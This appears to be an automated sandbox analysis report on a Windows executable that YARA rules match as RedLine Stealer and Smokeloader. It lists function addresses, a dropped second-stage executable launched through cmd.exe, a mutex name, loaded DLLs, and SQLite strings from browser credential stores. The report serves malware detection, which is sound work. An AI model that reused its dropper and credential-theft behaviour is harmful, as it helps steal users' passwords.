Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe

9_2_00072590

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2070467335.0000000000A3F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD0ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6CD0ED10
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD4B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CD4B700
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD4B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CD4B8C0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD4B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CD4B910
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCEF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CCEF280

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCE35A0	0_2_6CCE35A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD0D4D0	0_2_6CD0D4D0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCF64C0	0_2_6CCF64C0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD26CF0	0_2_6CD26CF0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCED4E0	0_2_6CCED4E0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCF6C80	0_2_6CCF6C80
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD434A0	0_2_6CD434A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD4C4A0	0_2_6CD4C4A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD5545C	0_2_6CD5545C
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCF5440	0_2_6CCF5440
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD25C10	0_2_6CD25C10
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD32C10	0_2_6CD32C10
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD5AC00	0_2_6CD5AC00
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD5542B	0_2_6CD5542B
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD20DD0	0_2_6CD20DD0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD485F0	0_2_6CD485F0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD0ED10	0_2_6CD0ED10
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD10512	0_2_6CD10512
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCFFD00	0_2_6CCFFD00
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD576E3	0_2_6CD576E3
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCEBEF0	0_2_6CCEBEF0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCFFEF0	0_2_6CCFFEF0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD05E90	0_2_6CD05E90
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD4E680	0_2_6CD4E680
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD44EA0	0_2_6CD44EA0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD09E50	0_2_6CD09E50
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD23E50	0_2_6CD23E50
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD04640	0_2_6CD04640
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD32E4E	0_2_6CD32E4E
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD56E63	0_2_6CD56E63
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCEC670	0_2_6CCEC670
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD27E10	0_2_6CD27E10
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD35600	0_2_6CD35600
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD49E30	0_2_6CD49E30
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD16FF0	0_2_6CD16FF0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCEDFE0	0_2_6CCEDFE0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD377A0	0_2_6CD377A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD27710	0_2_6CD27710
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCF9F00	0_2_6CCF9F00
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD550C7	0_2_6CD550C7
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD0C0E0	0_2_6CD0C0E0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD258E0	0_2_6CD258E0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD160A0	0_2_6CD160A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD08850	0_2_6CD08850
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD0D850	0_2_6CD0D850
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD2F070	0_2_6CD2F070
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCF7810	0_2_6CCF7810
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD2B820	0_2_6CD2B820
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD34820	0_2_6CD34820
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD25190	0_2_6CD25190
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD42990	0_2_6CD42990
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD1D9B0	0_2_6CD1D9B0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCEC9A0	0_2_6CCEC9A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD0A940	0_2_6CD0A940
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD3B970	0_2_6CD3B970
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD5B170	0_2_6CD5B170
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCFD960	0_2_6CCFD960
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD28AC0	0_2_6CD28AC0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD01AF0	0_2_6CD01AF0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD2E2F0	0_2_6CD2E2F0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD5BA90	0_2_6CD5BA90
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD52AB0	0_2_6CD52AB0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCE22A0	0_2_6CCE22A0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD14AA0	0_2_6CD14AA0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCFCAB0	0_2_6CCFCAB0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD29A60	0_2_6CD29A60
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD553C8	0_2_6CD553C8
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCEF380	0_2_6CCEF380
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCE5340	0_2_6CCE5340
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CCFC370	0_2_6CCFC370
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD2D320	0_2_6CD2D320
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CDEECD0	0_2_6CDEECD0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD8ECC0	0_2_6CD8ECC0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD9AC60	0_2_6CD9AC60
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE6AC30	0_2_6CE6AC30
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE56C00	0_2_6CE56C00
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CF1CDC0	0_2_6CF1CDC0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD94DB0	0_2_6CD94DB0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE26D90	0_2_6CE26D90
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE5ED70	0_2_6CE5ED70
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CEBAD50	0_2_6CEBAD50
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CF18D20	0_2_6CF18D20
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD9AEC0	0_2_6CD9AEC0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE30EC0	0_2_6CE30EC0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE16E90	0_2_6CE16E90
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE2EE70	0_2_6CE2EE70
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE70E20	0_2_6CE70E20
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE6EFF0	0_2_6CE6EFF0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD90FE0	0_2_6CD90FE0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CED8FB0	0_2_6CED8FB0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD9EFB0	0_2_6CD9EFB0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE52F70	0_2_6CE52F70
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CDFEF40	0_2_6CDFEF40
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD96F10	0_2_6CD96F10
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CED0F20	0_2_6CED0F20
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE968E0	0_2_6CE968E0
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE64840	0_2_6CE64840
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CE1A820	0_2_6CE1A820
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CDE0820	0_2_6CDE0820
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CEAC9E0	0_2_6CEAC9E0
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C7830	9_2_000C7830
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C9063	9_2_000C9063
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000CA988	9_2_000CA988
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_00071A40	9_2_00071A40
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000CB29C	9_2_000CB29C
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000CBB06	9_2_000CBB06
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000D2BD5	9_2_000D2BD5
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C5C20	9_2_000C5C20
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_00075500	9_2_00075500
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000CAE84	9_2_000CAE84
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000CB6D1	9_2_000CB6D1
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000D3759	9_2_000D3759

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: String function: 000C8810 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: String function: 000C9E8D appears 31 times
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: String function: 6CF109D0 appears 69 times
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: String function: 6CD1CBE8 appears 134 times
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: String function: 004043B0 appears 316 times
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: String function: 6CD294D0 appears 90 times

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2268

Source: w3WOJ1ohgD.exe, 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs w3WOJ1ohgD.exe
Source: w3WOJ1ohgD.exe, 00000000.00000002.2096137042.000000006CF65000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs w3WOJ1ohgD.exe

Source: w3WOJ1ohgD.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2070467335.0000000000A3F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@7/42@0/2

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_6CD47030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CD47030

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Mutant created: \Sessions\1\BaseNamedObjects\8dddf1vvvv
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7428

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

File created: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Command line argument: 8dddf1vvvv	9_2_00072590
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Command line argument: 8dddf1vvvv	9_2_00072590
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Command line argument: f1vvvv	9_2_00072590
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Command line argument: 8dddf1vvvv	9_2_00072590

Source: w3WOJ1ohgD.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: w3WOJ1ohgD.exe, w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2096022369.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: w3WOJ1ohgD.exe, 00000000.00000003.1716895300.0000000020DD4000.00000004.00000020.00020000.00000000.sdmp, GIDBKKKKKFBGDGDHIDBG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: w3WOJ1ohgD.exe, 00000000.00000002.2095289450.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: w3WOJ1ohgD.exe	ReversingLabs: Detection: 32%
Source: w3WOJ1ohgD.exe	Virustotal: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\w3WOJ1ohgD.exe "C:\Users\user\Desktop\w3WOJ1ohgD.exe"
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2268
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"	Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Section loaded: dpapi.dll	Jump to behavior
